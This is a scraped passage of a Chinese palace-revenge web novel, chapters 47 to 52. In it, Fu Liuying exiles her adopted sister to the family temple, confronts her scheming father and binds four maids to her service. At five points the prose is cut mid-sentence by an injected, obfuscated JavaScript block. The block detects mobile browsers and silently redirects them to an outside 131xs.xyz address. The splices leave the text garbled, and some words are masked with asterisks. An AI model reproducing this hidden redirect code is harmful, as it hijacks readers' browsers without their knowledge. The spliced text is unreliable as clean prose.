随着柳飞燕和容佩的离去，祠堂内顿时安静下来，只剩下傅流萤、傅明雪和两个贴身丫鬟。 方才还哭得楚楚可怜的傅明雪，此刻突然变了脸色。 “傅流萤，你这个小**。” 傅明雪猛地从地上站起来，眼中哪还有半点泪水，只剩下刻骨的恨意，“你满意了？把我赶出将军府，你开心了是不是？” 傅流萤不慌不忙地整理着衣袖，连看都不看她一眼，“妹妹这话说的，好像是我逼你私藏了三哥的香囊似的。” “要想人不知，除非己莫为，妹妹既然存了这样的心思，就不应该怪别人戳破。” “那香囊根本就不是我私藏的。”傅明雪尖声叫道，“是你陷害我！” “傅流萤，谁知道你到底用了什么妖术。” 第四十七章 送去家庙 “哦？”傅流萤终于抬眼看她，眼中满是讥诮，“那为何妹妹不早说？为何要装病？为何要贿赂大夫？” 傅明雪一时语塞，脸色青白交加。 “看来妹妹是心虚了。”傅流萤缓步走近，每一步都像踩在傅明雪心上。 “家庙清静，正好适合妹妹修身养性，妹妹这满口谎言，满腹恶毒的心思确实也应该好好改一改，什么时候想明白了，什么时候再回来。” 傅流萤冷冷的看着傅明雪，眼底噙着一抹淡淡的嘲讽，“我看妹妹现在还不知悔改，我会如实禀告父亲。” “你！”傅明雪气得浑身发抖，突然抓起供桌上的一个牌位就要往地上砸。 傅流萤眼神一冷，“妹妹手里拿着的可是傅家祖先的牌位，若是砸坏了……”她故意拖长了音调，“恐怕明雪妹妹又要背上一个不敬祖先的罪名，那这辈子都出不了家庙了。” 傅明雪的手僵在半空，牌位离地面只有寸许。 她眼中闪过一丝恐惧，最终还是慢慢将牌位放回了原位。 “春芽，夏婵。”傅流萤唤道，“去叫人来，送二小姐去家庙。” “是，大小姐。” “等等！”傅明雪突然叫道，“父亲虽然罚我去家庙思过，但也没说不许我带东西过去，我要回房收拾些衣物用品。” 说着她抬头死死的盯着傅流萤。 傅流萤似笑非笑地看着她，“自然可以。不过……”她顿了顿，“妹妹最好快些，父亲还在书房等我。” 傅明雪冷哼一声，转身快步走出祠堂。 傅流萤不紧不慢地跟在后面，眼中闪烁着冷光。 回到傅明雪的闺房，只见她手忙脚乱地往箱子里塞着各种金银首饰、绫罗绸缎，甚至连妆台上的胭脂水粉都不放过。 “妹妹这是要把整个闺房都搬空啊。”傅流萤倚在门框上，凉凉地说道。 傅明雪头也不回，“这些都是我的东西，我想带什么就带什么！” 傅流萤轻笑一声，对春芽使了个眼色。 春芽会意，上前拦住了正在收拾的傅明雪，“二小姐，这些贵重物品还是留在府中吧。” “滚开！”傅明雪一把推开春芽，“你算什么东西，也敢拦我？别忘了，你以前是我手底下的丫鬟，怎么？现在换了新主人就忘记旧主了，你这个背信弃义的死丫头。” 春芽被推得踉跄几步，差点摔倒。 傅流萤眼神一冷，上前一步，“父亲让妹妹是去思过反省的，不是去享福的，这些金银珠宝，还是留在这里等妹妹回来再用吧。” “傅流萤！”傅明雪终于爆发了，“你凭什么管我？你以为有太后撑腰就了不起了？等太后厌弃了你，我看你**的！” 傅流萤不怒反笑，“妹妹这话说的，好像很期待我被太后厌弃似的。”她缓步上前，逼得傅明雪连连后退，“不过妹妹还是先操心操心自己吧。家庙清苦，不知道妹妹这副娇贵身子受不受得了，毕竟从小到大，妹妹过惯了好日子了。” 傅明雪后背抵上梳妆台，无路可退。 她眼中闪过一丝慌乱，但很快又被愤怒取代。 “那又怎么样，傅流萤，你想看我笑话，做梦！母亲很快就会接我回来的，你得意不了多久。” “是吗？”傅流萤轻笑，“那我们就拭目以待吧。” 她转身对门口的婆子们道，“把二小姐的箱子全都打开检查，除了必要的衣物，其他一律不许带。” “你敢！“傅明雪尖叫着扑向箱笼，却被夏婵拦住。 婆子们不敢违抗，只得打开箱子，将里面的金银首饰、贵重物品一一取出。 傅明雪眼睁睁看着自己的宝贝被拿走，眼中几乎要喷出火来。 “傅流萤！你不得好死！“她歇斯底里地骂道，“你以为你赢了？我告诉你，只要我傅明雪还有一口气在，就绝不会让你好过！” 傅流萤对她的咒骂充耳不闻，只是淡淡地吩咐，“给二小姐准备一辆朴素的马车，再派两个可靠的婆子跟着，记住，路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990300|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上不许停留，直接送到家庙。” “是，大小姐。”婆子们恭敬应道。 傅明雪突然安静下来，她死死盯着傅流萤，眼中闪烁着诡异的光芒，“你以为这样就能毁了我？傅流萤，你太天真了。”她压低声音，只有傅流萤能听见，“就算母亲没有办法，凛哥哥也会想办法接我回来的。到时候……我会让你生不如死。” “妹妹怕不是忘了你的好哥哥还在军营里受苦呢。”傅流萤微微一笑，同样压低声音，“足足一个月的时间，可真漫长啊，像家庙那种地方……意外很多，万一妹妹不小心摔断了腿，或者染了什么怪病，又或者被老鼠咬了患了鼠疫，救治不及时恐怕妹妹就要香消玉殒了。” 她一边说着，一边看着傅明雪脸色变得惨白。 “你……你威胁我？”傅明雪声音发颤。 好像真的想到了自己的惨状，咽了咽口水，身体不由得瑟缩了一下。 “怎么会？”傅流萤一脸无辜，“我只是关心妹妹的安危罢了，当然也是提醒妹妹万事小心。” 傅明雪才不相信傅流萤这么好心。 她抬头看着眼前笑容淡淡的傅流萤，终于意识到，眼前的傅流萤已不是从前那个任她欺凌的软弱姐姐了。 这让她心底涌起一阵恐惧。 “时辰不早了，妹妹该上路了。”傅流萤直起身，声音恢复如常，“希望妹妹在家庙好好反省，早日回来。” 最后两个字她咬得极重，傅明雪听出了其中的讽刺，却不敢再反驳。 她狠狠瞪了傅流萤一眼，在婆子的搀扶下走向门外早已备好的简陋马车。 临上马车前，傅明雪回头看了一眼将军府高大的门楣，眼中满是不甘和怨恨。 她捏紧了拳头，傅流萤，今日之辱，他日必百倍奉还！ 傅流萤站在台阶上，目送马车远去，唇边勾起一抹冷笑。 傅明雪，这还只是开始。 前世你加诸在我身上的一切，我会一点一点还给你。 第四十八章 书房对峙 “小姐，将军还在等您。”春芽小声提醒。 傅流萤收回目光，整了整衣衫，“走吧，去见父亲。” 傅流萤站在书房门前，深吸一口气。 春芽担忧地看了她一眼，低声道，“小姐，要不要奴婢陪您进去？” “不必。”傅流萤轻轻摇头，“父亲要见的只有我一人。” 她抬手轻轻地扣了扣门，里面传来傅莽冷硬的声音，“进来。” 推开门，一股浓郁的墨香扑面而来。 傅莽背对着门口站在窗前，阳光透过窗棂在他身上投下斑驳的影子，显得格外阴沉。 “父亲。”傅流萤福身行礼，声音不卑不亢。 傅莽缓缓转身，面色阴沉如水。 他今日换了一身靛青色锦袍，腰间玉带上的虎头纹饰在阳光下泛着冷光，衬得他整个人愈发威严。 他的目光落在傅流萤的身上，半眯着眼睛。 “跪下！“傅莽突然厉声喝道。 傅流萤抬眸，对上傅莽锐利的目光，嘴角却勾起一抹浅笑，“父亲，女儿犯了何错，为何要跪？” “忤逆父母，不敬兄长，此为一错，春日宴上，身为嫡姐，当众看着明雪犯错却不加以制止，此为二错，在家从父，你还未嫁给萧玹，就帮着一个外人说话，此为三错！” 傅莽每说一条，声音就提高一分，到最后几乎是在咆哮，“你犯下这么多滔天大罪，只是让你跪下已经算是轻饶你了！” 书房内的空气仿佛凝固了。 傅流萤看着傅莽因愤怒而扭曲的面容，忽然轻笑出声。 “你笑什么？”傅莽眉头紧锁，眼中怒火更盛。 傅流萤不慌不忙地理了理衣袖，慢条斯理的样子让傅莽眼底的怒火燃烧的更旺。 “女儿笑父亲偏心偏得明目张胆。” “明明是父亲母亲有错在先，却句句不提自己的错，反倒怪我忤逆犯上。” 傅流萤的嗓音淡淡的，“至于三哥傅凛……” 她顿了顿，眼中闪过一丝冷意，“他是我的亲哥哥，却偏帮一个养女，从未爱护过我这个妹妹，甚至对我泼尽脏水，毁坏我的名声，这样的人，怎么配做我的哥哥？既然不是我的哥哥，我又为什么要敬他？” 傅莽脸色一变，显然没料到她会如此直接地反驳。 不等他开口，傅流萤继续道，“至于父亲说的春日宴，难道是我让傅明雪为了陷害我，不惜毁坏太后娘娘最在意的墨菊？” “这明明是她自作孽不可活，我已看在她与我姐妹情分上向太后娘娘求情，也算是保住了她的性命，父亲不但不嘉奖我，反而怪罪我，这又是何道理？难道我还要对害我之人感激戴德不计前嫌吗？” “那真是不好意思我不是圣人达不到这样的境界，请问父亲会对加害于自己的人感恩戴德呢？想必父亲也做不到吧。” 她每说一句，就向前一步，最后停在书案前，与傅莽仅一桌之隔，“至于我帮萧玹说话。” “这更加是莫须有的罪名了，父亲何时看到听到我为萧玹说话了？欲加之罪，何患无辞，父亲拿这三条罪名来压我，未免也太站不住脚了。” 傅莽眉头紧锁，目光复杂地打量着眼前这个女儿。 阳光从侧面照进来，勾勒出她挺直的脊背和倔强的下颌线条。 她站在那里，不卑不亢，眼中没有丝毫畏惧，反而有一种不容忽视的上位者气势。 这哪里还是从前那个唯唯诺诺的傅流萤？ 他记得以前的傅流萤很活泼，很可爱，每次他回来，她都是跑在最前面的那一个，很热情的扑进他的怀里脆生生的叫着爹爹。 后来不知什么时候傅流萤就变了，变得很胆小很懦弱，会小心翼翼的讨好他。 每次他回来她总是怯生生的躲在柳飞燕的身后，露出来一双乌黑明亮的大眼睛…… 好像就是从明雪回来以后。 傅莽心中一惊，心里有一种说不出的感觉。 很快他就把这种奇异的感觉压了下去。 “好一张伶牙俐齿的嘴。”傅莽冷笑一声，绕过书案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990301|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到傅流萤面前，“看来太后娘娘的令牌给了你不少底气。” 傅流萤不动声色地后退半步，拉开与傅莽的距离，“父亲与其在这里教训我，不如多花点时间在傅明雪和傅凛的身上。” “我已经将傅明雪送去家庙，傅凛那么在乎傅明雪，舍不得她受一点委屈和伤害，父亲觉得，按照他的秉性，他又会做出什么样的事情来呢？” 傅莽脸色骤变，眼中闪过一丝惊怒：“他敢？” “父亲看他敢不敢呢？”傅流萤轻笑，“当着太后娘娘的面，傅凛都敢不顾家族安危和名声，跪下替傅明雪求情，试图为她开脱，父亲觉得，他还有什么可害怕的么？” 书房内一时寂静无声。 傅莽的脸色阴晴不定，显然被傅流萤的话戳中了心事。 傅流萤知道自己的话起了作用。 虽然傅莽现在不会做什么，但是这些话一定会在傅莽的心里埋下一根刺。 以后只要傅凛为了傅明雪有出乎常理的行为，傅莽便会想到今天。 无论傅凛和傅明雪到底有没有什么，傅莽的心中都会认定他们有了超乎兄妹之外的感情。 傅流萤的嘴角勾了勾。 看来以后有好戏看了。 不知道为什么，重来一世，她觉得将军府的人都挺蠢的，前世她为什么会折在这群蠢人身上？ 或许就是因为太渴望亲情。 傅流萤的眼底渐渐浮现出一抹嘲讽。 嘲讽以前的无知愚蠢。 感情是这世界上最虚无缥缈的东西，也是最不值得可靠的。 她上辈子为了感情送了性命，可真是最大的悲哀。 傅流萤眨了眨眼睛，垂下了眼眸，“父亲大张旗鼓叫我过来，应该不只是为了定我的罪吧？” 傅莽脸上的怒意如潮水般退去，忽然扯出一抹笑意，“流萤，你不愧是我的女儿，不愧是将军府的嫡女。” 阳光透过窗棂在他脸上投下斑驳的阴影，那笑容像是一张精心绘制的**，虚假得令人作呕。 第四十九章 暗流涌动 傅流萤指尖轻轻摩挲着腰间的太后令牌，唇角勾起一抹似有若无的弧度，“父亲有什么话直说吧，女儿不喜欢拐弯抹角的。” “你！”傅莽脸色一僵，眼底怒意翻涌，却在瞥见那块令牌时硬生生压了下去。 他转身从书案抽屉里取出一个锦盒，打开后露出一块通体莹白的玉佩。 “流萤，以前是父亲不好，忽略了你。”傅莽将玉佩推到桌边，声音忽然变得低沉，“你心中对父亲有怨言也是应该的。” “可明雪她……她父亲毕竟是傅家的救命恩人，当年若不是明铮将军在战场上替我挡下，你如今也没有父亲了。” 他说着竟红了眼眶，手指轻抚玉佩上的云纹，仿佛在追忆什么。 傅流萤冷眼旁观，心中冷笑。 有您这样的父亲，还不如没有。 “然后呢？”她忽然开口，声音清冷如同三九天的冰霜一样。 “父亲既然觉得愧对傅明雪，那就应该自己补偿她，为何要牺牲我来补偿？” 她上前一步，直视傅莽闪烁的眼睛，“无非是看我是个女儿身，无法为家族建功立业，又软弱可欺罢了。” 傅流萤的眼底浮现出一抹淡淡的嘲讽，“否则父亲怎么不把三个哥哥的院子让出去？怎么不苛刻三个哥哥的月例？每个月都会给三个哥哥们裁制衣裳，却从来不会给我做新衣服。” “啪！”傅莽一掌拍在桌上，书案上的书都连着抖了抖，“放肆！你这是在怪我吗？” 傅流萤却笑了，那笑意未达眼底，“这不是显而易见吗？就这点小事父亲就动怒了？可像是这样的事情已经多到数不胜数了。” “这些小事你居然记到了现在。”傅莽怒不可斥。 她学着傅莽方才的语气，“或许这对父亲来说是小事吧，可对女儿来说却终生难忘。” 她声音忽然轻了下来，却字字如刀。 “女儿永远也忘不了在那破败的院子里，被丫鬟小厮克扣伙食，冬日食不果腹、饥寒交迫，夏日闷热难当、蛇虫鼠蚁横行。” “更忘不了每月去领月例时，账房先生那副施舍乞丐的嘴脸。” “我明明是将军府的嫡女，本应该过着千尊万贵的生活，可是过往的岁月里连最末等的丫头都不如。” 傅莽脸色一阵青一阵白，手指无意识地摩挲着玉佩边缘。 有那么一瞬间，他眼底闪过一丝真实的愧疚，但转瞬即逝。 “过去的事就让它过去吧。”傅莽生硬地转移话题，将玉佩又往前推了推，“这块玉佩是你祖母留下的，本来就应该是送给你的，今日……物归原主。” 傅流萤没有伸手，只是静静地看着那块温润的白玉。 前世她曾无数次渴望父亲的认可，哪怕是一个眼神、一句关心。 如今这迟来的“馈赠”，只让她觉得讽刺。 因为这一份看似深情的补偿里藏着的却是利益。 “父亲有话不妨直说。”她抬眸，眼中是一片清明，“这块玉佩，女儿受不起。” 傅莽脸色变了又变，终于沉下脸来，“流萤，不管怎么说，你都是我傅莽的女儿，是将军府的嫡女，你的一言一行都代表着将军府！” 他忽然加重语气，“就算日后你嫁给萧玹，你也别忘了你的身份，你首先是将军府的人！” 书房内霎时安静得落针可闻。 傅流萤明白了傅莽今日反常的缘由，唇角勾起一抹了然的笑意。 “父亲这话是什么意思？她故作不解。 傅莽额角青筋跳动，知道她是故意的，却不得不耐着性子道，“流萤，你应该了解过朝堂局势吧？萧玹手握重兵，又得太后的信任，如今在朝中如日中天……” “所以呢？”傅流萤打断他，“父亲是想让女儿在萧玹身边做些什么？” 傅莽被戳破心思，老脸一红，压低声音道，“萧玹此人心机深沉，为父也是担心你嫁过去吃亏，若你能适时传递些消息回来，为父也能替你谋划一二。” “父亲是要女儿做细作？”傅流萤轻笑出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998657|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，眼中寒光乍现，“父亲这是要利用女儿为将军府筹谋了？” “胡说八道！”傅莽厉声喝道，“这怎么是利用？这是为你好！萧玹那种人岂是良配？他接近你分明另有所图！为父这是给你留条后路！” 傅流萤静静地看着傅莽暴跳如雷的模样，忽然觉得无比可笑。 前世她到死都没看透的人，今生不过几句话就暴露了本性。 “父亲多虑了。”她慢条斯理地整理着袖口，“萧玹图我什么？图我有个偏心到极致的父亲？图我有几个恨不得我死的兄妹？还是图我在将军府举步维艰的处境？” 傅莽被她问得哑口无言，脸色阴沉得能滴出水来。 “若父亲没有别的事，女儿就先告退了。”傅流萤福了福身，转身欲走。 “站住！”傅莽猛地起身，“你以为有太后撑腰就能为所欲为？别忘了，你现在还是我傅莽的女儿！我随时可以……” “可以什么？”傅流萤回眸，眼中锋芒毕露，“把我赶出家门？还是像对傅明雪那样送我去家庙？” 她轻笑，“父亲不妨试试，看太后娘娘会作何反应。” 傅莽气得浑身发抖，却真不敢轻举妄动。 那块太后令牌就像一道护身符，让他投鼠忌器。 “这块玉佩，父亲还是留给傅明雪吧。”傅流萤最后看了眼桌上的玉佩，“毕竟在父亲心里，她才是真正的嫡女。” 说完，她头也不回地推门而出，留下傅莽一人在书房内脸色铁青。 春芽见傅流萤出来，连忙迎上前：“小姐，将军没有为难您吧？” 傅流萤摇摇头，快步穿过回廊。 阳光照在她苍白的脸上，映出一片冷冽的光泽。 “去查查，近日朝中有什么动向。”她低声吩咐，“特别是关于萧玹的。” 春芽一怔，压低声音，“小姐怀疑将军另有所图？” 傅流萤冷笑，“他今日突然提起朝堂局势，又暗示我监视萧玹，必是有人在他耳边吹了风。” 第五十章 以身入局，试探傅流萤 春芽见傅流萤脸色阴沉，小心翼翼地跟在她身后穿过回廊。 阳光透过雕花窗棂在地上投下斑驳的影子，傅流萤绣着暗纹的裙摆扫过青石地面，发出细微的沙沙声。 “小姐……”春芽犹豫片刻，终于鼓起勇气开口，“将军是要您听他的话监视九千岁吗？” 傅流萤脚步未停，只淡淡反问，“你觉得我该听么？” 春芽心头一跳，手指不自觉地绞紧了帕子。 她偷眼瞧了瞧傅流萤的侧脸，那线条在阳光下显得格外冷硬。 “奴婢……奴婢可以直说吗？”春芽声音细若蚊蝇。 傅流萤忽然停下脚步，转身看向她。 春芽被她那双幽深的眸子盯着，后背沁出一层薄汗。 “说吧。”傅流萤的声音听不出喜怒。 春芽深吸一口气，大着胆子道：“奴婢觉得……九千岁比将军靠谱多了。” 廊下一阵风过，吹动傅流萤鬓边碎发。 她眼中闪过一丝诧异，随即又恢复平静。 “哦？”傅流萤唇角微勾，“接着说。” 许是得到了鼓励，春芽胆子大了些。 “小姐从小到大受了这么多苦，将军从未关心过，如今见小姐得了太后青睐，又想着利用小姐……”她顿了顿，声音更低，“可九千岁虽然表面冷冰冰的，却从未真正伤害过小姐，那日小姐受伤，他送来的都是最上等的药材……” 傅流萤眸光微动。 “而且九千岁第一天送来那么多聘礼，定是真心看重小姐。”春芽越说越激动，眼底都亮着光，“等小姐嫁过去就是督主夫人，再不用在将军府受气，这里爹不疼娘不爱的，几位少爷也……” 话到此处，春芽突然意识到失言，慌忙噤声。 傅流萤却轻笑出声，“你倒是看得透彻。” 这笑声让春芽毛骨悚然。 她偷眼看去，只见傅流萤正用一种奇异的目光盯着她，那眼神仿佛能洞穿人心。 “小姐……”春芽声音发颤，“奴婢是不是说错话了……” 傅流萤没有回答，转身继续往前走。 春芽惴惴不安地跟上，再不敢多言。 主仆二人沉默地穿过花园。 假山后的茶花开得正艳，傅流萤却看都没看一眼。 直到回到芳华院，傅流萤坐在案台前，面前铺着宣纸，准备练字，拿着毛笔却一个字都写不出来。 傅流萤放下笔，突然开口。 “春芽，你觉得萧玹为何选我？” 春芽正端着茶盏的手一抖，险些打翻。 她慌忙稳住，小心翼翼道“自然是因为小姐才貌双全……” “呵。”傅流萤接过茶盏，指尖轻轻摩挲杯沿，“满京城贵女，比我出色的不知凡几，我不过是个不受宠的小姐罢了。” 春芽急道，“可她们都比不上小姐！小姐医术高明，又得太后赏识……” “萧玹要的不是这些。”傅流萤打断她，眸色深沉，“他在下一盘大棋，而我……不过是一枚棋子。” 春芽见傅流萤神色变幻，不敢再多问，只默默退到一旁研墨。 墨条与砚台摩擦发出细微的沙沙声，傅流萤的目光落在窗棂投下的光影上，思绪却飘回那个充满血腥味的夜晚。 那晚萧玹**的场景在她脑海中一帧帧回放。 督主府戒备森严，怎会容刺客轻易潜入？ 更何况以萧玹的身手，便是中了毒，也不该被几个刺客逼得节节败退。 傅流萤指尖无意识地摩挲着茶盏边缘，忽然轻笑一声。 杯里的茶水映着她微微上扬的唇角，那笑意却未达眼底。 “小姐？”春芽疑惑地抬头。 “无事。”傅流萤放下茶盏，茶水顺着她的动作在杯中轻轻晃动，荡起一圈圈涟漪。 看似平静，实则暗流涌动。 傅流萤眨了眨眼睛，那天晚上，她记得清清楚楚，她刚现身不久，萧玹的暗卫便如鬼魅般现身。 这说明什么？ 说明那些人早就在暗处埋伏，只等一个合适的时机出手。 萧玹根本不会让自己真正陷入险境，他那样的人，怎会打无准备之仗？ 傅流萤盯着窗外，思绪越发清晰。 萧玹**是真，但遇险是假。 他分明是以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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春芽看得傅流萤的表情，心头一颤，突然觉得小姐此刻的神情，竟与那位令人闻风丧胆的九千岁有几分相似。 “对了。”傅流萤走到门边又停住脚步，阳光在她身后拉出长长的影子，“父亲若问起，就说我身子不适，闭门休养。” 萧莽不会善罢甘休的。 春芽连忙应是，她退下以后，长舒一口气，这才发现后背已经湿透。 小姐好可怕。 明明什么都没有做，可是那个眼神扫过来，就感觉让人心惊胆战。 而此时傅流萤已回到内室，从枕下摸出把精致的**。 刀刃寒光凛冽，映出她冷若冰霜的眉眼。 “互相利用罢了。”她喃喃着，指尖抚过锋利的刃口，“你要棋子，我要借势。这场婚事，看看到底是谁……技高一筹了。” 窗外暮色渐沉，最后一缕夕阳透过窗纱，将她的影子拉得很长很长。 就在这时 窗外忽然传来扑棱棱的声响，一只信鸽落在窗棂上。 傅流萤取下鸽腿上的竹筒，倒出一张字条。 【明日巳时聚仙楼一聚】。 是萧玹送来的纸条。 萧玹居然约她明日聚仙楼一聚？ 他来她的厢房一向来无影去无踪，把这里当成自己家似的，何须大张旗鼓邀她去聚仙楼？ 傅流萤的眸色暗了暗，眼底闪过一抹深思。 萧玹的葫芦里到底在卖什么药？ 傅流萤把字条燃烧殆尽。 又吩咐春芽把夏蝉，秋月冬雪一并叫了进来。 傅流萤将字条在烛火上点燃，看着那张纸条在火焰中逐渐蜷曲、变得焦黑，最终化为灰烬。 火光映在她幽深的眸子里，却莫名的感觉不到一丝的温度。 春芽走了进来，“小姐，打听到了，近日督主并未前去上朝，说是九千岁身体不适，闭门不见客。” 傅流萤垂了垂眼眸。 身体不适？ 怕是掩耳盗铃吧。 她对自己的医术还是很自信的。 那几针扎下去，萧玹的身体可比之前要好很多。 “春芽。”她轻声唤道，“去把夏婵、秋月、冬雪都叫来。” 春芽不敢多问，匆匆退了出去。傅流萤起身走到妆台前，从暗格中取出一个青瓷小瓶，倒出四粒赤红色的药丸。药丸在掌心滚动，散发出淡淡的苦涩气息。 蚀骨丸的解药。 不多时，门外传来细碎的脚步声。 四个丫鬟鱼贯而入，在傅流萤面前站成一排。 夏婵站在最前面，眼神闪烁不定，秋月低着头，手指不安地绞着衣角，冬雪则面无表情，像一尊雕像。 傅流萤的目光在她们脸上一一扫过，最后落在春芽身上。 春芽会意，轻轻关上了房门，又检查了窗户是否关严。 “知道我为什么叫你们来吗？”傅流萤开口，声音平静得可怕怕， 四个丫鬟面面相觑，夏婵最先跪下，“大小姐恕罪，奴婢们不知做错了什么……” “起来。”傅流萤淡淡道，“我不是要责罚你们。” 她缓步走到四人面前，将四粒解药放在桌上，“这是蚀骨丸的解药。” 此话一出，四个丫鬟同时抬头，眼中满是难以置信。 “你们以前是傅明雪的丫鬟，后来我搬进芳华苑，你们迫不得已才跟着我。”傅流萤的声音不带任何感情，“现在，我把解药给你们。愿意继续跟着我的，就服下解药留在我身边，我自会好好待你们，若不想继续跟着我的……” 她顿了顿，从袖中取出四张泛黄的纸，“这是你们的**契，我可以还给你们，让你们恢复自由身。” 房间里安静得能听见烛芯燃烧的噼啪声。 四个丫鬟面面相觑，一时之间，脑子一片空白。 春芽第一个跪下，重重磕了个头，“大小姐，奴婢愿誓死追随大小姐！” 她的声音带着哽咽，“奴婢的爹娘很早就**，舅舅把奴婢卖进了将军府，这些年来，奴婢从小就在将军府长大，从来没有人把奴婢当成人看……” 她抬起头，眼中泪光闪烁，“只有大小姐，从不打骂奴婢，还给奴婢新衣裳穿，奴婢生是小姐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009126|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，死是小姐的鬼！” 傅流萤眸色沉沉，她看向其他三人，“你们呢？” 夏婵咬了咬唇，也跪了下来，“奴婢也愿意追随大小姐！” 她的声音里带着压抑已久的恨意，“二小姐傅明雪那个毒妇，表面装得温柔善良，背地里却……” 她猛地撸起袖子，露出手臂上密密麻麻的伤痕，有些已经结痂，有的却是陈年的旧伤。 “傅明雪每次不如意，都会拿我们这些做丫鬟的出气，在她的心里，我们根本就不是人，就是低贱的牲口，我早就不想伺候她了，是大小姐给了我一条出路，让我不用再受她的**。” 傅流萤眸光一沉。 这些伤痕她早有所觉，但亲眼所见还是令她心头一震。 她伸手轻轻抚过那些伤疤，夏婵瑟缩了一下，却没有躲开。 “秋月？冬雪？”傅流萤收回手，看向最后两人。 秋月脸色苍白，嘴唇颤抖着，“大小姐，奴婢……奴婢的弟弟还在傅明雪的手里……” “其实自从我来到大小姐身边之后，傅明雪身边的丫鬟淑萤也来找过奴婢几回，明里暗里想让奴婢当二小姐的眼线，奴婢虽然假意答应，但是并没有将大小姐的消息告诉二小姐。” “我知道，否则我也不会留你到现在。” 秋月心惊不已。 大小姐都知道了？ “我可以帮你弟弟脱身。”傅流萤淡淡道，“只要你真心效忠于我。” 秋月眼中迸发出希望的光，立刻跪下，“若大小姐能救出奴婢弟弟，奴婢这条命就是大小姐的！” 最后是冬雪。 这个一向沉默寡言的丫鬟抬起头，直视傅流萤的眼睛，“大小姐可还记得三年前的那个雪夜？” 傅流萤一怔。 三年前…… 她好像在雪地里救过一个快要冻死的小丫鬟…… “是你？”傅流萤恍然。 冬雪重重磕了个头，“奴婢的命是大小姐给的，从那时起，奴婢就发誓要报答大小姐。只是后来被分到了二小姐院里……如今终于有机会回到大小姐身边，奴婢死而无憾！” 第五十二章 萧玹邀约 傅流萤心中微怔。 她没想到当年随手救下的一个小丫鬟，竟记恩至今。 “好。”傅流萤将解药推到她们面前，“既然你们都决定留下，那就服下解药。从今以后，你们就是我傅流萤的人。” 四个丫鬟毫不犹豫地吞下解药。 “不过……”她的声音骤然转冷，“我的眼里容不得沙子，若是让我知道你们当面一套背后一套，欺上瞒下……” 她突然拿起桌上的茶盏，砸在了地上，瓷器碎裂的声音在寂静的房间里格外刺耳，四个丫鬟同时一颤。 “犹如此杯。”傅流萤冷冷道，“我既能给你们解药和自由，也能让你们生不如死。” 春芽第一个反应过来，立刻道，“奴婢发誓，绝不背叛大小姐！若有违此誓，天打雷劈！” 其他三人也纷纷立誓，傅流萤神色稍霁，示意她们起身。 “既然决定跟着我，从今日起，你们每人都要学会一项特殊技能。”傅流萤坐回椅子上，“先说说你们各自擅长什么。” 春芽想了想，“奴婢虽然愚笨了一些，有时候小姐说的话奴婢听不明白，但是奴婢的记性好，府里上上下下的事，只要听过一遍就忘不掉。” 夏婵活动了下手腕，“奴婢身手灵活，爬树上墙都不在话下。” 秋月小声道，“奴婢……奴婢识过几个字，会打算盘。” 冬雪则道，“奴婢的娘生前是医女，教过奴婢一些医术皮**。” 傅流萤眼中精光一闪，这倒是出乎意料的收获。 她略一思索，开口道，“春芽，你负责收集府中各处的消息，特别是父亲、母亲和三位哥哥的动向，事无巨细，我都要知道。” “夏婵，你身手好，从明天开始，我会教你使用暗器和识别**。” “秋月，你识字会算，以后芳华苑的账目和往来文书都由你负责。” “冬雪，既然你有医术基础，我会亲自教你针灸和配药。” 四个丫鬟听得眼睛发亮，她们从未想过自己还能学习这么多东西。 她们这些做下人，能平安活到老已是万幸，哪敢奢望学习这些技艺？ 这些东西就算是普通的人家，也难得有机会接触，更何况她们这些身在将军府的丫鬟。 